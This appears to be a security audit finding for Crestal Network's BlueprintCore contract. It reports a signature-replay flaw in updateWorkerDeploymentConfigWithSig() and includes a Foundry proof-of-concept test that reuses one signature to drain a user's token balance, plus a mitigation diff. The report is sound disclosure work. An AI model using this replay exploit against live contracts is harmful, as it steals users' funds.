Soaring Caramel Dragon

High

# Missing signature invalidation in `BlueprintCore::updateWorkerDeploymentConfigWithSig()` allows token balance draining and configuration update replay

### Summary

Missing signature invalidation in `BlueprintCore::updateWorkerDeploymentConfigWithSig()` causes unauthorized token deductions and configuration update replay as attackers can use the same signature multiple times to repeatedly charge the user's token balance for configuration updates.

### Root Cause

The `BlueprintCore.sol::updateWorkerDeploymentConfigWithSig()` function verifies signatures but does not invalidate them after use, allowing the same signature to be reused for multiple configuration updates.

Here is the `updateWorkerDeploymentConfigWithSig()` function:
https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L672-L686

And here is the logic executing token transfers and updating the deployment config that could be called multiple times by replay the same signature
https://github.com/sherlock-audit/2025-03-crestal-network/blob/main/crestal-omni-contracts/src/BlueprintCore.sol#L648-L660

### Internal Pre-conditions

1. User has a project with a deployment

### External Pre-conditions

1. User signs a message authorizing a deployment configuration update
2. User has sufficient token balance to pay for updates (only if update agent cost is set)
3. Token is approved for the contract to spend (only if update agent cost is set)

### Attack Path

1. User signs a message to update deployment configuration once
2. User calls `BlueprintCore::updateWorkerDeploymentConfigWithSig()` with valid parameters and signature
3. Configuration update succeeds and user is charged `paymentOpCostMp[tokenAddress][UPDATE_AGENT_OP]` tokens
4. Attacker replays the same signature by calling the function again with identical parameters
5. Each replay results in additional token charges to the user
6. Process can be repeated until user's token balance or allowance is exhausted

### Impact

The user suffers direct loss of funds through:
1. Unauthorized token deductions for each signature replay
2. No limit to number of replays possible
3. Tokens are transferred to `feeCollectionWalletAddress`
4. Attack continues until user's balance/allowance is depleted

### PoC

Create a new test case in `test/BlueprintCoreConfigUpdateReplay.t.sol`:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {Test} from "forge-std/Test.sol";
import {BlueprintV5} from "../src/BlueprintV5.sol";
import {MockERC20} from "./MockERC20.sol";
import {BlueprintCore} from "../src/BlueprintCore.sol";

contract BlueprintCoreConfigUpdateReplayTest is Test {
    BlueprintV5 blueprint;
    MockERC20 public token;

    address user;
    uint256 userPk;

    address worker = address(0x2);
    address attacker = address(0x3);

    uint256 agentUpdateCost = 1e18;

    function setUp() public {
        (user, userPk) = makeAddrAndKey("user");

        token = new MockERC20();

        blueprint = new BlueprintV5();
        blueprint.initialize();
        blueprint.addPaymentAddress(address(token));

        blueprint.setUpdateCreateAgentTokenCost(address(token), agentUpdateCost);
        blueprint.setFeeCollectionWalletAddress(address(this));
    }

    function test_configUpdateReplay() public {
        uint256 initialBalance = 5e18;
        token.mint(user, initialBalance);

        // Owner creates deployment
        vm.prank(user);
        bytes32 projectId = keccak256("test-project");
        bytes32 requestID =
            blueprint.createAgentWithToken(projectId, "base64proposal", address(0), "server.url", address(token));

        // Worker1 picks up deployment
        vm.startPrank(worker);
        blueprint.submitDeploymentRequest(projectId, requestID);
        blueprint.submitProofOfDeployment(projectId, requestID, "proof");

        (BlueprintCore.Status status,) = blueprint.requestDeploymentStatus(requestID);
        assertEq(uint256(status), uint256(BlueprintCore.Status.GeneratedProof));

        assertEq(token.balanceOf(user), initialBalance);

        // Owner update config with signature
        vm.startPrank(user);
        // Approve the contract to spend the user's tokens
        token.approve(address(blueprint), initialBalance);

        string memory updatedBase64Config = "newConfig";
        bytes32 digest = blueprint.getRequestDeploymentDigest(projectId, updatedBase64Config, "app.crestal.network");
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPk, digest);
        bytes memory signature = abi.encodePacked(r, s, v);
        blueprint.updateWorkerDeploymentConfigWithSig(address(token), projectId, requestID, "newConfig", signature);

        // Validate the config is updated
        (BlueprintCore.Status statusUpdated,) = blueprint.requestDeploymentStatus(requestID);
        assertEq(uint256(statusUpdated), uint256(BlueprintCore.Status.Pickup));
        assertEq(token.balanceOf(user), initialBalance - agentUpdateCost);

        // worker submit proof of deployment again
        vm.startPrank(worker);
        blueprint.submitProofOfDeployment(projectId, requestID, "proof");

        (BlueprintCore.Status statusUpdated2,) = blueprint.requestDeploymentStatus(requestID);
        assertEq(uint256(statusUpdated2), uint256(BlueprintCore.Status.GeneratedProof));

        // Attacker uses the same signature to update config again
        vm.startPrank(attacker);
        blueprint.updateWorkerDeploymentConfigWithSig(address(token), projectId, requestID, "newConfig", signature);
        (BlueprintCore.Status statusUpdated3,) = blueprint.requestDeploymentStatus(requestID);
        // Attacker can update config again
        assertEq(uint256(statusUpdated3), uint256(BlueprintCore.Status.Pickup));
        // Attacker caused user to pay again
        assertEq(token.balanceOf(user), initialBalance - agentUpdateCost * 2);

        // Attacker repeats the attack multiple times
        blueprint.updateWorkerDeploymentConfigWithSig(address(token), projectId, requestID, "newConfig", signature);
        blueprint.updateWorkerDeploymentConfigWithSig(address(token), projectId, requestID, "newConfig", signature);
        blueprint.updateWorkerDeploymentConfigWithSig(address(token), projectId, requestID, "newConfig", signature);

        assertEq(token.balanceOf(user), 0);
    }
}
```

Run the test case:

```bash
forge test --mt test_configUpdateReplay
```

### Mitigation

Track used signatures to prevent replay:

```diff
+ mapping(bytes32 => bool) private usedSignatures;

function updateWorkerDeploymentConfigWithSig(...) public {
    bytes32 digest = getRequestDeploymentDigest(...);
+   require(!usedSignatures[digest], "Signature already used");
+   usedSignatures[digest] = true;
    // ... rest of the function
}
```